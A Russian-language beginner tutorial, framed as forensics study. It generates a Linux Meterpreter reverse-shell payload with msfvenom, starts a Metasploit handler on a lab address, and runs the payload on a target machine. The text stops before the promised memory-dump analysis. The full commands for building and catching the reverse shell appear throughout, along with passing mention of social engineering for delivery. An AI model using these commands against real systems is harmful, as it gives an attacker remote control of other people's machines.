Введение

Этот материал написан для новичков, поэтому приветствуется дискуссия, конструктивные комментарии и дополнения во благо всеобщему развитию.

Meterpreter – это продвинутый пейлоад (полезная нагрузка) Metasploit, который может выполняться в памяти целевой системы при должном использоавнии. Это делает его крайне привлекательным для пентестеров и атакующих. Если ты изучаешь разработку собственного софта тебе будет интересно поковырятся в памяти. Если захватить дамп работающего процесса Meterpreter, можно извлечь из него ценную информацию. В этой статье мы шаг за шагом проведем исследование: сгенерируем reverse shell-пейлоад с Meterpreter, установим слушатель Metasploit, запустим реверс-шелл на жертве, снимем дамп памяти процесса Meterpreter с помощью gcore, а затем проанализируем этот дамп через GDB. Такой подход позволяет заглянуть внутрь живой сессии Meterpreter и продемонстрировать, как дамп памяти может помочь в форензике или пентесте (например, для извлечения конфиденциальных данных или любых других артефактов).

Шаг 1: Генерация reverse shell-пейлоада с помощью msfvenom (Meterpreter)

Первым шагом мы создадим исполняемый файл-пейлоад, который при запуске на целевой машине откроет обратное подключение (reverse shell) к нашей системе с Meterpreter-сессией. Для этого используется утилита msfvenom – часть Metasploit Framework, предназначенная для генерации пейлоадов. В Metasploit имеется множество вариантов reverse shell для разных платформ; в большинстве случаев оптимально использовать Meterpreter-пейлоад под ту же ОС, что и цель (например, windows/meterpreter/reverse_tcp для Windows или linux/x64/meterpreter/reverse_tcp для Linux).

В нашем примере цель – Linux x86/x64, поэтому мы выберем соответствующий Linux Meterpreter. Команда msfvenom для генерации может выглядеть так:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP_атаки> LPORT=<порт> -f elf -o reverse-shell.elf

Здесь -p указывает тип пейлоада (Linux Meterpreter, reverse TCP), LHOST – наш IP-адрес, на который придет обратное подключение, LPORT – порт для подключения, -f elf – формат выходного файла (Linux ELF бинарь), а -o reverse-shell.elf – имя выходного файла. Например, если машина атакующего (Kali) имеет IP 192.168.56.103 и мы хотим использовать порт 5555, команда будет:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=5555 -f elf -o reverse-sh.elf

Эта команда сгенерирует исполняемый файл reverse-sh.elf, содержащий Meterpreter-стейджер. После генерации можно проверить файл командой file reverse-sh.elf, убедившись, что это корректный ELF-бинарник. Перед передачей на целевую машину не забудьте сделать файл исполняемым (chmod +x reverse-sh.elf).

Шаг 2: Развертывание слушателя на Metasploit Framework

Пока файл-пейлоад готовится к запуску на жертве, на машине атакующего нужно настроить слушатель (listener) в Metasploit, чтобы принять входящее соединение Meterpreter. Для этого запустим msfconsole и используем модуль exploit/multi/handler, который предназначен для ловли самостоятельных пейлоадов. В консоли Metasploit выполните последовательно команды:

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.103
set LPORT 5555
run

Эти команды указывают Metasploit использовать соответствующий пейлоад Meterpreter (должен совпадать с тем, что мы сгенерировали msfvenom), установить локальный хост и порт для ожидания соединения, а затем запустить слушатель. Если всё сделано правильно, Metasploit перейдет в режим ожидания, выводя сообщение о том, что handler запущен на 192.168.56.103:5555 (или на другом указанном IP:порт).

Теперь Metasploit готов принять входящее соединение от нашей будущей жертвы.

Шаг 3: Запуск реверс-шелла на целевой машине

На этапе эксплуатации у нас предполагается, что мы перенесли сгенерированный reverse-sh.elf на целевую систему (например, через FTP, SMB, USB, социальную инженерию и т.д.). Предположим, файл уже на жертве и у нас есть возможность его выполнить (например, через ранее полученный доступ или уязвимость в удаленной команде). Запускаем пейлоад на целевой машине, например командой:

./reverse-sh.elf

Как только этот файл исполнится, он попытается установить обратное соединение на указанный нами LHOST:LPORT. На машине атакующего в консоли Metasploit мы должны увидеть, что подключение получено. Metasploit обычно выводит что-то вроде: Meterpreter session X opened at <адрес_жертвы>:<порт_жертвы> -> <адрес_атаки>:<порт_атаки>. Например, Meterpreter session 1 opened – сессия успешно установлена. Теперь у нас интерактивная Meterpreter-сессия: можно получить системную информацию (sysinfo), запустить shell (shell), просматривать файлы и т.д., уже находясь внутри системы жертвы.

Важно отметить, что процесс Meterpreter на целевой машине теперь существует только в памяти. Если это Windows-цель, Meterpreter часто инжектируется в другой процесс (например, svchost.exe) после подключения. В случае Linux наш payload запущен как самостоятельный процесс (например, с именем файла reverse-sh.elf или маскирован). В любом случае, зная, что на системе активно вредоносное соединение, задача форензики – снять слепок памяти этого процесса, не прерывая его работу, чтобы затем изучить, что происходит внутри.